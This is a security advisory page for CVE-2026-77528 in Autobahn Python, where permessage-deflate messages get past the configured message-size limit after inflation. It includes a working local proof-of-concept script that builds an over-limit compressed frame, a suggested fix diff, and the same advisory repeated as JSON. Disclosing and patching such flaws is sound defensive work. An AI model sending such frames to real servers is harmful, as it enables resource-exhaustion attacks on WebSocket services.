GHSA-HXP9-W8X3-P566

Vulnerability from github – Published: 2026-09-22 20:37 – Updated: 2026-09-22 20:37
VLAI
Summary
Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation
Details

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False

             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "autobahn"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "crossbar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:37:28Z",
    "nvd_published_at": "2026-09-18T20:17:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAutobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.\n\n### Details\nThe permessage-deflate path installs a `PerMessageDeflate` instance when the server accepts a client offer in `src/autobahn/websocket/protocol.py:3371`. The common `PerMessageDeflateOfferAccept(offer)` path leaves `max_message_size` at its default `None` in `src/autobahn/websocket/compress_deflate.py:295`, and that value is copied into the compressor object in `src/autobahn/websocket/compress_deflate.py:723`. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in `src/autobahn/websocket/protocol.py:1812`, calls `onMessageFrameBegin` with the compressed frame length, and increments `message_data_total_length` by that pre-inflate length in `src/autobahn/websocket/protocol.py:634`; the configured message cap is enforced against the same compressed accounting at `src/autobahn/websocket/protocol.py:636`. Only after those checks does Autobahn inflate the payload in `src/autobahn/websocket/protocol.py:1861`; because `max_message_size` is `None`, `src/autobahn/websocket/compress_deflate.py:812` calls zlib without an output cap. The inflated bytes are then passed to `onMessageFrameData` in `src/autobahn/websocket/protocol.py:1882`, appended for WebSocket version 13 without adding their inflated length to the message counter at `src/autobahn/websocket/protocol.py:667`, joined in `src/autobahn/websocket/protocol.py:690`, and delivered through `_onMessage` in `src/autobahn/websocket/protocol.py:693`. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.\n\n### Reproduction\n```py\nimport sys\nimport types\nimport zlib\n\n\nif len(sys.argv) != 2:\n    raise SystemExit(\"usage: autobahn_deflate_limit_poc.py \u003cautobahn-python-source-dir\u003e\")\n\nSRC = sys.argv[1]\n\n\nclass _Log:\n    def debug(self, *args, **kwargs):\n        pass\n\n    def warn(self, *args, **kwargs):\n        pass\n\n    def error(self, *args, **kwargs):\n        pass\n\n\nclass _Timer:\n    def call_later(self, *args, **kwargs):\n        return self\n\n    def cancel(self):\n        pass\n\n\ntxaio = types.ModuleType(\"txaio\")\ntxaio.make_logger = lambda: _Log()\ntxaio.create_future = lambda result=None: result\ntxaio.resolve = lambda future, value=None: None\ntxaio.reject = lambda future, error=None: None\ntxaio.add_callbacks = (\n    lambda future, callback=None, errback=None: callback(future) if callback else None\n)\ntxaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)\ntxaio.failure_format_traceback = lambda err: str(err)\ntxaio.call_later = lambda *args, **kwargs: _Timer()\ntxaio.make_batched_timer = lambda *args, **kwargs: _Timer()\ntxaio.time_ns = lambda: 0\ntxaio.use_asyncio = lambda: None\ntxaio.use_twisted = lambda: None\nsys.modules[\"txaio\"] = txaio\n\nhyperlink = types.ModuleType(\"hyperlink\")\n\n\nclass _URL:\n    @classmethod\n    def from_text(cls, text):\n        return cls(text)\n\n    def __init__(self, text):\n        self._text = text\n\n    def to_uri(self):\n        return self\n\n    def normalize(self):\n        return self\n\n    def to_text(self):\n        return self._text\n\n\nhyperlink.URL = _URL\nsys.modules[\"hyperlink\"] = hyperlink\n\nwamp_types = types.ModuleType(\"autobahn.wamp.types\")\n\n\nclass TransportDetails:\n    pass\n\n\nwamp_types.TransportDetails = TransportDetails\nsys.modules[\"autobahn.wamp.types\"] = wamp_types\n\nsys.path.insert(0, SRC + \"/src\")\n\nfrom autobahn.websocket.compress_deflate import PerMessageDeflate\nfrom autobahn.websocket.protocol import WebSocketProtocol\n\n\nclass _Factory:\n    isServer = True\n    requireMaskedClientFrames = True\n    maskServerFrames = False\n    utf8validateIncoming = True\n    applyMask = True\n    maxFramePayloadSize = 128\n    maxMessagePayloadSize = 128\n    autoFragmentSize = 0\n    failByDrop = True\n    echoCloseCodeReason = False\n    openHandshakeTimeout = 5\n    closeHandshakeTimeout = 1\n    tcpNoDelay = True\n    autoPingInterval = 0\n    autoPingTimeout = 0\n    autoPingSize = 12\n    autoPingRestartOnAnyTraffic = True\n    logOctets = False\n    logFrames = False\n    trackTimings = False\n    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS\n    webStatus = False\n    perMessageCompressionAccept = staticmethod(lambda offer: None)\n    serveFlashSocketPolicy = False\n    flashSocketPolicy = \"\"\n    allowedOrigins = [\"*\"]\n    allowedOriginsPatterns = []\n    allowNullOrigin = True\n    maxConnections = 0\n    trustXForwardedFor = 0\n    _batched_timer = _Timer()\n\n\nclass CapturingProtocol(WebSocketProtocol):\n    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER\n\n    def __init__(self):\n        super().__init__()\n        self.delivered = None\n\n    def _onMessageBegin(self, isBinary):\n        self.onMessageBegin(isBinary)\n\n    def _onMessageFrameBegin(self, length):\n        self.onMessageFrameBegin(length)\n\n    def _onMessageFrameData(self, payload):\n        self.onMessageFrameData(payload)\n\n    def _onMessageFrameEnd(self):\n        self.onMessageFrameEnd()\n\n    def _onMessageFrame(self, payload):\n        self.onMessageFrame(payload)\n\n    def _onMessageEnd(self):\n        self.onMessageEnd()\n\n    def _onMessage(self, payload, isBinary):\n        self.delivered = payload\n\n    def sendData(self, data, sync=False, chopsize=None):\n        pass\n\n    def dropConnection(self, abort=True):\n        self.droppedByMe = True\n        self.state = WebSocketProtocol.STATE_CLOSED\n\n\ndef masked_compressed_text_frame(payload):\n    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)\n    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)\n    compressed = compressed[:-4]\n    mask = b\"\\x11\\x22\\x33\\x44\"\n    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))\n    if len(compressed) \u003c= 125:\n        header = bytes([0xC1, 0x80 | len(compressed)])\n    elif len(compressed) \u003c= 65535:\n        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, \"big\")\n    else:\n        raise RuntimeError(\"compressed fixture too large\")\n    return header + mask + masked, len(compressed)\n\n\nlimit = 128\ninflated = b\"X\" * 4096\nframe, compressed_len = masked_compressed_text_frame(inflated)\nif compressed_len \u003e= limit:\n    raise SystemExit(\"compressed fixture does not pass pre-inflate limit\")\n\nproto = CapturingProtocol()\nproto.factory = _Factory()\nproto.log = _Log()\nproto._connectionMade()\nproto._perMessageCompress = PerMessageDeflate(\n    is_server=True,\n    server_no_context_takeover=False,\n    client_no_context_takeover=False,\n    server_max_window_bits=15,\n    client_max_window_bits=15,\n    mem_level=8,\n    max_message_size=None,\n)\nproto.state = WebSocketProtocol.STATE_OPEN\nproto.inside_message = False\nproto.current_frame = None\nproto.websocket_version = 13\n\nproto._dataReceived(frame)\n\ndelivered_len = len(proto.delivered or b\"\")\nif delivered_len \u003e limit and not proto.wasMaxMessagePayloadSizeExceeded:\n    print(\n        \"AUTOBAHN_DEFLATE_LIMIT_BYPASS \"\n        f\"delivered_length={delivered_len} configured_limit={limit} \"\n        f\"compressed_length={compressed_len}\"\n    )\n    raise SystemExit(0)\n\nprint(\n    \"guarded \"\n    f\"delivered_length={delivered_len} configured_limit={limit} \"\n    f\"compressed_length={compressed_len} \"\n    f\"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}\"\n)\nraise SystemExit(1)\n\n```\n\n### Impact\nA remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on `maxMessagePayloadSize` as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level `max_message_size` cap because it remains `None`. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.\n\n### Suggested fix\n```001-fix.diff\ndiff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py\nindex 3c060804..4514e3cb 100644\n--- a/src/autobahn/websocket/protocol.py\n+++ b/src/autobahn/websocket/protocol.py\n@@ -1869,6 +1869,17 @@ class WebSocketProtocol:\n             if self.state == WebSocketProtocol.STATE_OPEN:\n                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen\n                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen\n+\n+            if self._isMessageCompressed:\n+                self.message_data_total_length += uncompressedLen - compressedLen\n+                if 0 \u003c self.maxMessagePayloadSize \u003c self.message_data_total_length:\n+                    self.wasMaxMessagePayloadSizeExceeded = True\n+                    self._max_message_size_exceeded(\n+                        self.message_data_total_length,\n+                        self.maxMessagePayloadSize,\n+                        f\"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets\",\n+                    )\n+                    return False\n \n             # incrementally validate UTF-8 payload\n             #\n```\n\n*Reported by Team Atlanta.*",
  "id": "GHSA-hxp9-w8x3-p566",
  "modified": "2026-09-22T20:37:28Z",
  "published": "2026-09-22T20:37:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/security/advisories/GHSA-hxp9-w8x3-p566"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77528"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/pull/1916"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/commit/77d323a30b09b1828ad8be2ce6344e056970e613"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/crossbario/autobahn-python"
    },
    {
      "type": "WEB",
      "url": "https://github.com/crossbario/autobahn-python/releases/tag/v26_7_1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…